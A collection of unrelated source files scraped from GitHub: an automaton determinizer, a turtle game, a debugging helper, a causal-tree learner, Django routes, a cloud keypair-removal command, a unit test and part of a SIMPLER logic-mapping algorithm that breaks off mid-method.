{"seq_id":"9503561073","text":"# -*- coding: utf-8 -*-\nclass AutomatoDeterminizado:\n\tdef __init__(self,aut):\n\t\tself.Simbolos = aut.getSimbolos()\n\t\tself.Estados = []\n\t\tself.Transicao = {}\n\t\tself.VTransicao = aut.getTransicao()\n\t\tself.EstadosFinais = aut.getEstadosFinais()\n\t\tself.EstadoInicial = aut.getEstadoInicial()\n\n\tdef adicionaEstado(self, estado):\n\t\tif type(estado) is list:\n\t\t\testado.sort()\n\t\tif estado not in self.Estados:\n\t\t\tself.Estados.append(estado)\n\n\tdef estadosFinais(self):\n\t\treturn self.EstadosFinais\n\n\tdef getSimbolos(self):\n\t\treturn self.Simbolos\n\t\n\tdef atualizaEstadosFinais(self):\n\t\testFinal = self.EstadosFinais[0]\n\t\tself.EstadosFinais.remove(self.EstadosFinais[0]) # VERIFICAR SE CONTINUA CORRETO\n\t\tfor x in range(0,len(self.Estados)):\n\t\t\tif estFinal in self.Estados[x] and self.Estados[x] not in self.EstadosFinais:\n\t\t\t\tself.EstadosFinais.append(self.Estados[x])\n\n\tdef getTransicao(self):\n\t\treturn self.Transicao\n\n\tdef getCompara(self,estado):\n\t\testado.sort()\n\t\tif estado not in self.Estados:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tdef transicaoEstado(self,estado,simbolo):\n\t\treturn self.VTransicao[estado][simbolo]\n\n\tdef adicionaTransicao(self,estado,simbolo,transitaPara):\n\t\tif estado not in self.Transicao:\n\t\t\tself.Transicao[estado] = {}\n\t\tself.Transicao[estado][simbolo] = transitaPara\n\n\tdef transicao(self,estado):\n\t\tif len(estado) == 1:\n\t\t\tif estado[0] not in self.Estados:\n\t\t\t\tself.adicionaEstado(estado[0])\n\t\t\t\tself.Transicao[estado[0]] = self.VTransicao[estado[0]]\n\t\t\t\tfor x in range(0, len(self.Simbolos)):\n\t\t\t\t\t# if 'q-' not in self.Transicao[estado[0]][self.Simbolos[x]]:\tNÃO PRECISA, TESTAR DEPOIS PARA TER CERTEZA\n\t\t\t\t\t\tself.transicao(self.Transicao[estado[0]][self.Simbolos[x]])\n\t\telse:\n\t\t\tif self.getCompara(estado):\n\t\t\t\tself.adicionaEstado(estado)\n\t\t\t\tfor x in range(0,len(self.Simbolos)):\n\t\t\t\t\tnovaLista = []\n\t\t\t\t\tfor j in range(0,len(estado)):\n\t\t\t\t\t\tif 'q-' not in self.transicaoEstado(estado[j],self.Simbolos[x]):\n\t\t\t\t\t\t\tnovaLista.append(self.transicaoEstado(estado[j],self.Simbolos[x]))\n\t\t\t\t\tnovaLista = self.tiraArgumentos(novaLista)\n\t\t\t\t\tnovaLista = list(set(novaLista))\n\t\t\t\t\tif len(novaLista) > 1 and 'q-' in novaLista :\n\t\t\t\t\t\tnovaLista.remove('q-')\n\t\t\t\t\ttmp = self.transformaString(estado)\n\t\t\t\t\tself.adicionaTransicao(tmp,self.Simbolos[x],novaLista)\n\t\t\t\t\tself.transicao(novaLista)\n\n\tdef tiraArgumentos(self,estado):\n\t\tnovaLista = []\n\t\tfor x in range(0,len(estado)):\n\t\t\tif estado[x] == 1 or type(estado[x]) is str:\n\t\t\t\tnovaLista.append(estado[x])\n\t\t\telse:\n\t\t\t\tfor j in range(0,len(estado[x])):\n\t\t\t\t\tnovaLista.append(estado[x][j])\n\t\treturn novaLista\n\n\tdef transformaString(self,estado):\n\t\tstring = ''\n\t\tfor x in range(0,len(estado)):\n\t\t\tstring += estado[x]\n\t\treturn string\n\n\tdef getEstadosFinais(self):\n\t\treturn self.EstadosFinais\n\t\n\tdef getEstadoInicial(self):\n\t\treturn self.EstadoInicial\n\n\tdef pertenceEstadoFinal(self,estado):\n\t\tfor x in range(0,len(self.EstadosFinais)):\n\t\t\tif estado == self.transformaString(self.EstadosFinais[x]):\n\t\t\t\treturn True\n\t\treturn False\n","repo_name":"FabioMoreiraFM/UFSC","sub_path":"Theory-of-Computation/autDet.py","file_name":"autDet.py","file_ext":"py","file_size_in_byte":2986,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"24321689627","text":"#Yam Pizza Ver.1.0\r\n#Written by Jiyeon Choi\r\n#Jun.17.2021.\r\n\r\nimport turtle as t\r\nimport random\r\nfrom playsound import playsound\r\n\r\n#Set score as 0\r\nscore = 0\r\n# Check if the game is currently playing\r\nplaying = False\r\n#Background music\r\nplaysound('yamPizza_music.wav', block=False)\r\n\r\n\r\n#Turn turtle right\r\ndef turn_right():\r\n    t.setheading(0)\r\n\r\n\r\n#Turn turtle upward\r\ndef turn_up():\r\n    t.setheading(90)\r\n\r\n\r\n#Turn turtle left\r\ndef turn_left():\r\n    t.setheading(180)\r\n\r\n\r\n#Turn turtle downward\r\ndef turn_down():\r\n    t.setheading(270)\r\n\r\n\r\n#Start the game after pressing the Spacebar\r\ndef start():\r\n    global playing\r\n    playing = True\r\n    t.clear()\r\n    play()\r\n\r\n\r\n#Play the game\r\ndef play():\r\n    global score\r\n    global playing\r\n    t.forward(10)\r\n\r\n    # 25% chance the enemy towards to you\r\n    if random.randint(1, 4) == 1:\r\n        ang = te.towards(t.pos())\r\n        te.setheading(ang)\r\n    speed = score + 5\r\n\r\n    # Enemy turtle's speed limit 20\r\n    if speed > 20:\r\n        speed = 20\r\n    te.forward(speed)\r\n\r\n    # Game over if you are too close from the enemy turtle\r\n    if t.distance(te) < 10:\r\n        text = \"Score: \" + str(score)\r\n        message(\"Game Over\", text)\r\n        playing = False\r\n        score = 0\r\n\r\n    # Get 1 score if you eat the pizza\r\n    if t.distance(tf) < 18:\r\n        score = score + 1\r\n        t.write(score)\r\n        #relocate the pizza in random places\r\n        star_x = random.randint(-250, -250)\r\n        star_y = random.randint(-250, 250)\r\n        tf.goto(star_x, star_y)\r\n\r\n    #Play the game every 100 milliseconds(=0.1 sec).\r\n    if playing:\r\n        t.ontimer(play, 100)\r\n\r\n\r\n#Show the messages on the start window.\r\ndef message(m1, m2):\r\n    t.clear()\r\n    t.goto(0, 100)\r\n    t.write(m1, False, \"center\", (\"\", 30))\r\n    t.goto(0, -100)\r\n    t.write(m2, False, \"center\", (\"\", 15))\r\n    t.home()\r\n\r\n\r\n#Set Window's title, size and background.\r\nt.title(\"Yam Pizza\")\r\nt.setup(600, 600)\r\nt.bgcolor(\"purple\")\r\n\r\n#Create an enemy turtle and locate it on the upper part of the window.\r\nte = t.Turtle()\r\nte.shape(\"turtle\")\r\nte.color(\"red\")\r\nte.speed(0) #speed(0) is the max.\r\nte.up()\r\nte.goto(0, 200)\r\n\r\n#Load the pizza image and add it to screen object.\r\npizzaImg = \"pizza.gif\"\r\nscreen = t.Screen()\r\nscreen.addshape(pizzaImg)\r\n\r\n#Create the pizza and locate it on the lower part of the window.\r\ntf = t.Turtle()\r\ntf.shape(pizzaImg)\r\ntf.up()\r\ntf.speed(0)\r\ntf.goto(0, -200)\r\n\r\n#Create a turtle that you can control.\r\nt.shape(\"turtle\")\r\nt.speed(0)\r\nt.up()\r\nt.color(\"orange\")\r\nt.onkeypress(turn_right, \"Right\")\r\nt.onkeypress(turn_up, \"Up\")\r\nt.onkeypress(turn_left, \"Left\")\r\nt.onkeypress(turn_down, \"Down\")\r\nt.onkeypress(start, \"space\")\r\nt.listen()\r\nmessage(\"Yam Pizza\", \"Press the [Spacebar] to Start\")\r\n\r\nt.mainloop()","repo_name":"jiyeonCoder/YamPizza","sub_path":"yamPizza.py","file_name":"yamPizza.py","file_ext":"py","file_size_in_byte":2769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"74279226670","text":"'''\nImporting this module adds ``breakpoint`` and ``pdbtrace`` as built-ins.\n'''\n\nimport six\n__all__ = ['breakpoint', 'pdbtrace']\n\ndef breakpoint(msg='', depth=0):\n  '''(Built-in) Starts an interactive prompt.  For development and debugging.'''\n  import code, inspect, pydoc\n  frame = inspect.currentframe()\n  for i in six.moves.range(depth+1):\n    frame = frame.f_back\n  namespace = dict(help=pydoc.help)\n  namespace.update(frame.f_globals)\n  namespace.update(frame.f_locals)\n  if msg:\n    msg = \" - \" + msg\n  banner = \"\\n[%s:%s%s]\" % (namespace.get('__file__', None), frame.f_lineno, msg)\n  kwds = {'banner':banner, 'local':namespace}\n  if not six.PY2:\n    kwds['exitmsg'] = ''\n  code.interact(**kwds)\n\nsix.moves.builtins.breakpoint = breakpoint\n\ndef pdbtrace():\n  '''(Built-in) Starts PDB.'''\n  import pdb\n  pdb.set_trace()\n\nsix.moves.builtins.pdbtrace = pdbtrace\n","repo_name":"andyjost/Sprite","sub_path":"src/python/utility/breakpoint.py","file_name":"breakpoint.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"}
{"seq_id":"6415559439","text":"from CTL.causal_tree.ctl.binary_ctl import *\nfrom sklearn.model_selection import train_test_split\n\n\nclass AdaptiveNode(CTLearnNode):\n\n    def __init__(self, **kwargs):\n        super().__init__(**kwargs)\n\n        # self.obj = obj\n\n\n# ----------------------------------------------------------------\n# Base causal tree (ctl, base objective)\n# ----------------------------------------------------------------\nclass AdaptiveTree(CTLearn):\n\n    def __init__(self, **kwargs):\n        super().__init__(**kwargs)\n        self.root = AdaptiveNode()\n\n    def adaptive_eval(self, train_y, train_t):\n        total_train = train_y.shape[0]\n\n        train_effect = ace(train_y, train_t)\n\n        train_mse = total_train * (train_effect ** 2)\n\n        obj = train_mse\n        mse = total_train * (train_effect ** 2)\n\n        return obj, mse\n\n    def fit(self, x, y, t):\n        if x.shape[0] == 0:\n            return 0\n\n        # ----------------------------------------------------------------\n        # Seed\n        # ----------------------------------------------------------------\n        np.random.seed(self.seed)\n\n        # ----------------------------------------------------------------\n        # Verbosity?\n        # ----------------------------------------------------------------\n\n        # ----------------------------------------------------------------\n        # Split data\n        # ----------------------------------------------------------------\n\n        self.root.num_samples = y.shape[0]\n        # ----------------------------------------------------------------\n        # effect and pvals\n        # ----------------------------------------------------------------\n        effect = tau_squared(y, t)\n        p_val = get_pval(y, t)\n        self.root.effect = effect\n        self.root.p_val = p_val\n\n        # ----------------------------------------------------------------\n        # Not sure if i should eval in root or not\n        # ----------------------------------------------------------------\n        node_eval, mse = self.adaptive_eval(y, t)\n        self.root.obj = node_eval\n\n        # ----------------------------------------------------------------\n        # Add control/treatment means\n        # ----------------------------------------------------------------\n        self.root.control_mean = np.mean(y[t == 0])\n        self.root.treatment_mean = np.mean(y[t == 1])\n\n        self.root.num_samples = x.shape[0]\n\n        self._fit(self.root, x, y, t)\n\n    def _fit(self, node: AdaptiveNode, train_x, train_y, train_t):\n\n        if train_x.shape[0] == 0:\n            return node\n\n        if node.node_depth > self.tree_depth:\n            self.tree_depth = node.node_depth\n\n        if self.max_depth == self.tree_depth:\n            if node.effect > self.max_effect:\n                self.max_effect = node.effect\n            if node.effect < self.min_effect:\n                self.min_effect = node.effect\n            self.num_leaves += 1\n            node.leaf_num = self.num_leaves\n            node.is_leaf = True\n            return node\n\n        best_gain = 0.0\n        best_attributes = []\n        best_tb_obj, best_fb_obj = (0.0, 0.0)\n\n        column_count = train_x.shape[1]\n        for col in range(0, column_count):\n            unique_vals = np.unique(train_x[:, col])\n\n            if self.max_values is not None:\n                if self.max_values < 1:\n                    idx = np.round(np.linspace(\n                        0, len(unique_vals) - 1, self.max_values * len(unique_vals))).astype(int)\n                    unique_vals = unique_vals[idx]\n                else:\n                    idx = np.round(np.linspace(\n                        0, len(unique_vals) - 1, self.max_values)).astype(int)\n                    unique_vals = unique_vals[idx]\n\n            for value in unique_vals:\n\n                # check training data size\n                (train_x1, train_x2, train_y1, train_y2, train_t1, train_t2) \\\n                    = divide_set(train_x, train_y, train_t, col, value)\n                check1 = check_min_size(self.min_size, train_t1)\n                check2 = check_min_size(self.min_size, train_t2)\n                if check1 or check2:\n                    continue\n\n                tb_eval, tb_mse = self.adaptive_eval(train_y1, train_t1)\n                fb_eval, fb_mse = self.adaptive_eval(train_y2, train_t2)\n\n                split_eval = (tb_eval + fb_eval)\n                gain = -node.obj + split_eval\n\n                if gain > best_gain:\n                    best_gain = gain\n                    best_attributes = [col, value]\n                    best_tb_obj, best_fb_obj = (tb_eval, fb_eval)\n\n        if best_gain > 0:\n            node.col = best_attributes[0]\n            node.value = best_attributes[1]\n\n            (train_x1, train_x2, train_y1, train_y2, train_t1, train_t2) \\\n                = divide_set(train_x, train_y, train_t, node.col, node.value)\n\n            y1 = train_y1\n            y2 = train_y2\n            t1 = train_t1\n            t2 = train_t2\n\n            best_tb_effect = ace(y1, t1)\n            best_fb_effect = ace(y2, t2)\n            tb_p_val = get_pval(y1, t1)\n            fb_p_val = get_pval(y2, t2)\n\n            self.obj = self.obj - node.obj + best_tb_obj + best_fb_obj\n\n            # ----------------------------------------------------------------\n            # Ignore \"mse\" here, come back to it later?\n            # ----------------------------------------------------------------\n\n            tb = AdaptiveNode(obj=best_tb_obj, effect=best_tb_effect, p_val=tb_p_val,\n                              node_depth=node.node_depth + 1,\n                              num_samples=y1.shape[0])\n            fb = AdaptiveNode(obj=best_fb_obj, effect=best_fb_effect, p_val=fb_p_val,\n                              node_depth=node.node_depth + 1,\n                              num_samples=y2.shape[0])\n\n            node.true_branch = self._fit(tb, train_x1, train_y1, train_t1)\n            node.false_branch = self._fit(fb, train_x2, train_y2, train_t2)\n\n            if node.effect > self.max_effect:\n                self.max_effect = node.effect\n            if node.effect < self.min_effect:\n                self.min_effect = node.effect\n\n            return node\n\n        else:\n            if node.effect > self.max_effect:\n                self.max_effect = node.effect\n            if node.effect < self.min_effect:\n                self.min_effect = node.effect\n\n            self.num_leaves += 1\n            node.leaf_num = self.num_leaves\n            node.is_leaf = True\n            return node\n","repo_name":"edgeslab/CTL","sub_path":"CTL/causal_tree/ctl/adaptive.py","file_name":"adaptive.py","file_ext":"py","file_size_in_byte":6557,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"38"}
{"seq_id":"880873767","text":"# -*- encoding: utf-8 -*-\r\n\r\nfrom django.conf.urls import include,url\r\n\r\nfrom . import views\r\n\r\nurlpatterns = [\r\n    url(r'^$', views.index, name='index'),\r\n    url(r'^login', views.login, name =\"login\"),\r\n    url(r'^configuracion/',include('main.urls_admin')),\r\n    url(r'^logout$', views.logout_view, name =\"logout_view\"),\r\n    url(r'^auxiliar/get/paisesJSON', views.getPaisesJSON, name='getPaisesJSON'),\r\n    url(r'^auxiliar/get/paisesAltJSON', views.getPaisesAltJSON, name='getPaisesAltJSON'),\r\n    url(r'^auxiliar/get/JSON_(?P<pais_cc_fips>[^\\.]+)', views.getCiudadesJSON, name='getCiudadesJSON'),\r\n    url(r'^auxiliar/get/JSONAlt_(?P<nombre_pais>[^\\.]+)', views.getCiudadesAltJSON, name='getCiudadesAltJSON'),\r\n    url(r'^auxiliar/get/tarifas_HTTP', views.getTarifasHTTP, name='getTarifasHTTP'),\r\n    url(r'^auxiliar/get/descripcionesJSON', views.getDescripcionesJSON, name='getDescripcionesJSON'),\r\n    url(r'^auxiliar/post/metodoPrincipal', views.metodoPrincipal, name='metodoPrincipal'),\r\n    url(r'^auxiliar/post/hacerCotizacion', views.hacerCotizacion, name='hacerCotizacion'),\r\n    url(r'^auxiliar/get/getParejasPuertosJSON_FCL', views.getParejasPuertosJSON_FCL, name='getParejasPuertosJSON_FCL'),\r\n    url(r'^auxiliar/get/getParejasPuertosJSON_LCL', views.getParejasPuertosJSON_LCL, name='getParejasPuertosJSON_LCL'),\r\n    url(r'^auxiliar/get/getAeropuertosJSON', views.getAeropuertosJSON, name='getAeropuertosJSON'),\r\n    url(r'^auxiliar/testDev$', views.testDev, name =\"testDev\"),\r\n]\r\n","repo_name":"JoinAndEnjoy/liquidacionmelyak","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"18081631518","text":"#!/usr/bin/env python\n\nfrom starcluster.logger import log\n\nfrom base import CmdBase\n\n\nclass CmdRemoveKey(CmdBase):\n    \"\"\"\n    removekey [options] <name>\n\n    Remove a keypair from Amazon EC2\n    \"\"\"\n    names = ['removekey', 'rk']\n\n    def addopts(self, parser):\n        parser.add_option(\"-c\", \"--confirm\", dest=\"confirm\",\n                          action=\"store_true\", default=False,\n                          help=\"do not prompt for confirmation, just \" + \\\n                          \"remove the keypair\")\n\n    def execute(self, args):\n        if len(args) != 1:\n            self.parser.error(\"please provide a key name\")\n        name = args[0]\n        kp = self.ec2.get_keypair(name)\n        if not self.opts.confirm:\n            resp = raw_input(\"**PERMANENTLY** delete keypair %s (y/n)? \" % \\\n                             name)\n            if resp not in ['y', 'Y', 'yes']:\n                log.info(\"Aborting...\")\n                return\n        log.info(\"Removing keypair: %s\" % name)\n        kp.delete()\n","repo_name":"agua/StarClusterDev","sub_path":"starcluster/commands/removekey.py","file_name":"removekey.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"36774342156","text":"INIT = 1\nALIVE = 2\nSTART = 42\nSTOP = 43\nTHROTTLE = 44\nCONTROL = 48\n\nSENSOR = 45\nPID = 46\nTHROTTLE_LOG = 47\nANGULAR_VELOCITY_LOG = 49\nALTIMETER_DATA_LOG = 50\nTARGET_DATA_LOG = 51\n\n\n","repo_name":"xeedness/Quadro_AS","sub_path":"serverapp/MessageTypes.py","file_name":"MessageTypes.py","file_ext":"py","file_size_in_byte":180,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"29578702282","text":"# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom unittest import mock\n\nfrom ironicclient import client as ironicclient\n\nfrom tripleo_common.actions import base\nfrom tripleo_common.tests import base as tests_base\nfrom tripleo_common.utils import keystone as keystone_utils\n\n\n@mock.patch.object(keystone_utils, 'get_endpoint_for_project')\nclass TestActionsBase(tests_base.TestCase):\n\n    def setUp(self):\n        super(TestActionsBase, self).setUp()\n        self.action = base.TripleOAction()\n\n    @mock.patch.object(ironicclient, 'get_client', autospec=True)\n    def test_get_baremetal_client(self, mock_client, mock_endpoint):\n        mock_cxt = mock.MagicMock()\n        mock_endpoint.return_value = mock.Mock(\n            url='http://ironic/v1', region='ironic-region')\n        self.action.get_baremetal_client(mock_cxt)\n        mock_client.assert_called_once_with(\n            1, endpoint='http://ironic/v1', max_retries=12,\n            os_ironic_api_version='1.58', region_name='ironic-region',\n            retry_interval=5, token=mock.ANY)\n        mock_endpoint.assert_called_once_with(mock_cxt.security, 'ironic')\n        mock_cxt.assert_not_called()\n","repo_name":"pombredanne/tripleo-common","sub_path":"tripleo_common/tests/actions/test_base.py","file_name":"test_base.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"19"}
{"seq_id":"8565495671","text":"''' \r\nThis file contains an implementation of the SIMPLER algorithm.\r\n\r\nWritten by:\r\n    Rotem Ben-Hur - rotembenhur@campus.technion.ac.il\r\n    Ronny Ronen - \r\n    Natan Peled - natanpeled@campus.technion.ac.il\r\n\r\nThe \"RUN TIME parameters\" part includes the next parameters:\r\n    ROW_SIZE - a list of row sizes to run the algorithm with.\r\n    JSON_CODE_GEN - to create an execution sequence JSON file, set this flag to TRUE.\r\n    PRINT_CODE_GEN - to enable information print, set the flag to True. \r\n    PRINT_WARNING - to enable warnings print, set the flag to True.\r\n    Max_num_gates - the maximum number of gates the tool generates a mapping to \r\n    SORT_ROOTS - for arbitrary roots order set to 'NO'. For ascending roots order (by CU value) set to 'ASCEND'.\r\n                 For descending roots order (by CU value) set to 'DESCEND'.\r\n\r\n''' \r\n\r\nimport numpy as np\r\nimport simplejson\r\nfrom collections import OrderedDict\r\nimport time\r\n\r\n#================ Globals variables and Classes =================\r\n\r\n\r\nclass GraphEdge:\r\n\r\n    def __init__(self,Source,Dest,Val):\r\n        self.s = Source\r\n        self.d = Dest\r\n        self.v = Val\r\n\r\n    def GetDest(self):\r\n        return self.d\r\n\r\n    def GetSource(self):\r\n        return self.s\r\n\r\n    def GetVal(self):\r\n        return self.v\r\n\r\n    def Print(self):\r\n        print('(' + str(self.s) + ',' + str(self.d) + '), edge val is:' + str(self.v))\r\n\r\nclass NodeData:\r\n    \r\n    #Op declarations \r\n    No_inputs = 'NO INPUTS'\r\n    Input = 'INPUT'\r\n    Initialization = 'INITIALIZATION'\r\n    \r\n    #Class methods:        \r\n    @classmethod\r\n    def Get_no_inputs_op_val(cls):\r\n        return cls.No_inputs\r\n    \r\n    @classmethod\r\n    def Get_Input_op_val(cls):\r\n        return cls.Inputs\r\n    \r\n    @classmethod\r\n    def Get_Initialization_op_val(cls):\r\n        return cls.Initialization\r\n    \r\n    def __init__(self,Num,Op='',Inputs_list=[],Time=0):\r\n        self.node_num = Num \r\n        self.op = Op\r\n        self.val = False\r\n        self.FO = 0\r\n        self.CU = 0\r\n        self.map = 0\r\n        self.inputs_list = Inputs_list\r\n        self.time = Time\r\n        self.SIMPLER_lists_node = None\r\n\r\n        self.out_edges = []\r\n        self.in_edges = []\r\n        self.num_of_out_edges = 0\r\n        self.num_of_in_edges = 0\r\n\r\n\r\n    def SetNodeNum(self,Num):\r\n        self.node_num = Num\r\n    \r\n    def GetNodeNum(self):\r\n        return self.node_num\r\n        \r\n    def SetNodeOp(self,Op):\r\n        self.op = Op\r\n        \r\n    def GetNodeOp(self):\r\n        return self.op\r\n        \r\n    def SetNodeCu(self,Val):\r\n        self.CU = Val\r\n    \r\n    def GetNodeCu(self):\r\n        return self.CU\r\n\r\n    def SetNodeFO(self,Val):\r\n        self.FO = Val\r\n    \r\n    def GetNodeFO(self):\r\n        return self.FO\r\n        \r\n    def SetNodeMap(self,Val):\r\n        self.map = Val\r\n        \r\n    def GetNodeMap(self):\r\n        return self.map\r\n    \r\n    def GetNodeTime(self):\r\n        return self.time\r\n\r\n    def SetNodeInputs_list(self,Inputs):\r\n        self.inputs_list = Inputs\r\n        \r\n    def GetNodeInputs_list(self):\r\n        return self.inputs_list        \r\n\r\n    def InsertInputNode(self):\r\n        #Creates a node who describes a net input\r\n        self.inputs_list = []\r\n        self.op = self.Input        \r\n        self.map = self.node_num\r\n        self.time = 0\r\n\r\n    def Insert_readoperations_parameters(self,NodeNum,InputIdxs,Op):\r\n        self.node_num = NodeNum\r\n        self.inputs_list = InputIdxs\r\n        self.op = Op\r\n        \r\n    def Insert_AllocateCell_parameters(self,cell,time):\r\n        self.time = time\r\n        self.map = cell\r\n        \r\n    def Insert_No_Input_Node(self,NodeNum):\r\n        #Inserts a line who describes a gate/wire who doesn't have inputs\r\n        self.node_num = NodeNum\r\n        self.inputs_list = []\r\n        self.op = self.No_inputs        \r\n        self.map = -1 \r\n        self.time = 0   \r\n\r\n    def Set_SIMPLER_lists_node(self,ref):\r\n        print(ref)\r\n        self.SIMPLER_lists_node = ref\r\n\r\n    def Get_SIMPLER_lists_node(self):\r\n        return self.SIMPLER_lists_node\r\n        \r\n    def PrintNodeData(self):\r\n        print('node_num =',self.node_num,'inputs_list =',self.inputs_list,'op =',self.op,'cell =',self.map,'time =',self.time,'CU =',self.CU,'FO =',self.FO)\r\n\r\n    def AddOutEdge(self,Dest,Val):\r\n        self.out_edges.append(GraphEdge(self.node_num,Dest,Val))\r\n        self.num_of_out_edges += 1\r\n\r\n    def AddInEdge(self,Source,Val):\r\n        self.in_edges.append(GraphEdge(Source,self.node_num,Val))\r\n        self.num_of_in_edges += 1\r\n        \r\n    def RemoveOutEdge(self,Dest):\r\n        for i,e in enumerate(self.out_edges):\r\n            if e.GetDest() == Dest:\r\n                del self.out_edges[i]\r\n                self.num_of_out_edges -= 1\r\n                break\r\n\r\n    def RemoveInEdge(self,Source):\r\n        for i,e in enumerate(self.in_edges):\r\n            if e.GetSource() == Source:\r\n                del self.in_edges[i]\r\n                self.num_of_in_edges -= 1\r\n                break\r\n\r\n    def GetNumOfOutEdges(self):\r\n        return self.num_of_out_edges\r\n\r\n    def GetNumOfInEdges(self):\r\n        return self.num_of_in_edges\r\n\r\n    def GetOutEdgesList(self,TrueDepFlag):\r\n        if TrueDepFlag:\r\n            return [e.GetDest() for e in self.out_edges if e.GetVal()==1]\r\n        else:\r\n            return [e.GetDest() for e in self.out_edges]\r\n\r\n    def GetInEdgesList(self,TrueDepFlag):\r\n        if TrueDepFlag:\r\n            L = [e.GetSource() for e in self.in_edges if e.GetVal()==1]\r\n            L.reverse()\r\n            return L\r\n        else:\r\n            return [e.GetSource() for e in self.in_edges]\r\n\r\nclass CellInfo:\r\n    \r\n    #States declarations \r\n    Available = 1 #The cell was allocated and available again\r\n    Used = 2 #The cell is in use\r\n    Init = 3 #The cell is not in use, but need to initialized  \r\n    \r\n    #Global class parameters \r\n    max_num_of_used_cells = 0\r\n    cur_num_of_used_cells = 0\r\n\r\n    #Class methods:     \r\n    @classmethod\r\n    def Set_max_num_of_used_cells_to_zero(cls):\r\n        cls.max_num_of_used_cells = 0\r\n    \r\n    @classmethod    \r\n    def get_max_num_of_used_cells(cls):\r\n        return cls.max_num_of_used_cells\r\n\r\n    @classmethod    \r\n    def Set_cur_num_of_used_cells_to_zero(cls):\r\n        cls.cur_num_of_used_cells = 0   \r\n\r\n    #End of class methods\r\n    \r\n    def __init__(self,Idx):\r\n        self.state = CellInfo.Available\r\n        #self.current_gate = -1\r\n        self.next = None\r\n        self.prev = None\r\n        self.cell_idx = Idx\r\n        self.current_gate_num = None\r\n\r\n    def GetCellIdx(self):\r\n        return self.cell_idx\r\n\r\n    def SetNext(self,idx):\r\n        self.next = idx\r\n        \r\n    def SetPrev(self,idx):\r\n        self.prev = idx\r\n\r\n    def GetNext(self):\r\n        return self.next\r\n        \r\n    def GetPrev(self):\r\n        return self.prev\r\n\r\n    def SetCurGateNum(self,gate_num):\r\n        self.current_gate_num = gate_num\r\n\r\n    def GetCurGateNum(self):\r\n        return self.current_gate_num\r\n\r\n\r\n\r\nclass CellsInfo:\r\n\r\n    def __init__(self,N):\r\n        self.used_head = None\r\n        self.used_tail = None\r\n        self.init_head = None\r\n        self.init_tail = None\r\n        self.available_head = None\r\n        self.available_tail = None\r\n        self.cells = [CellInfo(idx) for idx in range(0,N)]\r\n        self.init_list_for_json = []\r\n\r\n    #Available list methods\r\n    def GetFirst_Available(self):\r\n        if self.available_head == None:\r\n            return None\r\n        else:\r\n            return self.cells[self.available_head].GetCellIdx()\r\n\r\n    def Concatenate_init_to_available_list(self):\r\n        self.available_head = self.init_head\r\n        self.available_tail = self.init_tail\r\n        self.cells[self.available_tail].SetNext(None)\r\n        self.cells[self.available_head].SetPrev(None)\r\n        self.init_head = None\r\n        self.init_tail = None\r\n\r\n    def DeleteFirst_Available(self):\r\n        if self.available_head == self.available_tail:\r\n            self.cells[self.available_head].SetNext(None)\r\n            self.cells[self.available_head].SetPrev(None)\r\n            self.available_head = self.available_tail = None\r\n        else:\r\n            next_available_cell = self.cells[self.available_head].GetNext()\r\n            self.cells[self.available_head].SetNext(None)\r\n            self.available_head = next_available_cell\r\n            self.cells[next_available_cell].SetPrev(None)\r\n\r\n    def Insert_Available(self,cell_idx):\r\n        if self.available_head == None:\r\n            self.available_head = cell_idx\r\n            self.available_tail = cell_idx\r\n        else:\r\n            self.cells[self.available_head].SetPrev(cell_idx)\r\n            self.cells[cell_idx].SetNext(self.available_head)\r\n            self.available_head = cell_idx\r\n    #Init list methods\r\n    def IsNotEmpty_Init(self):\r\n        if self.init_head == None:\r\n            return False\r\n        else:\r\n            return True\r\n\r\n    def Empty_Init(self):\r\n        self.init_tail = None\r\n        self.init_head = None\r\n        self.init_list_for_json = []\r\n\r\n    def Insert_Init(self,cell_idx):\r\n        if self.init_head == None:\r\n            self.init_head = cell_idx\r\n            self.init_tail = cell_idx\r\n        else:\r\n            self.cells[self.init_head].SetPrev(cell_idx)\r\n            self.cells[cell_idx].SetNext(self.init_head)\r\n            self.init_head = cell_idx\r\n        cur_gate = self.cells[cell_idx].GetCurGateNum()\r\n        self.init_list_for_json.append([cur_gate,cell_idx])\r\n\r\n    #Used list methods\r\n    def Insert_Used(self,cell_idx,gate_num):\r\n        if self.used_head == None:\r\n            self.used_head = cell_idx\r\n            self.used_tail = cell_idx\r\n        else:\r\n            self.cells[self.used_head].SetPrev(cell_idx)\r\n            self.cells[cell_idx].SetNext(self.used_head)\r\n            self.used_head = cell_idx\r\n        self.cells[cell_idx].SetCurGateNum(gate_num)\r\n\r\n    def Delete_Used(self,cell_idx):\r\n        next_cell =  self.cells[cell_idx].GetNext()\r\n        prev_cell =  self.cells[cell_idx].GetPrev()\r\n\r\n        if self.used_head == self.used_tail and self.used_tail == cell_idx:\r\n            self.cells[cell_idx].SetNext(None)\r\n            self.cells[cell_idx].SetPrev(None)\r\n            self.used_tail = self.used_head = None\r\n        elif cell_idx == self.used_head:\r\n            next_head = self.cells[cell_idx].GetNext()\r\n            self.cells[cell_idx].SetNext(None)\r\n            self.used_head = next_head\r\n        elif cell_idx == self.used_tail:\r\n            next_tail = self.cells[cell_idx].GetPrev()\r\n            self.cells[cell_idx].SetPrev(None)\r\n            self.used_tail = None\r\n        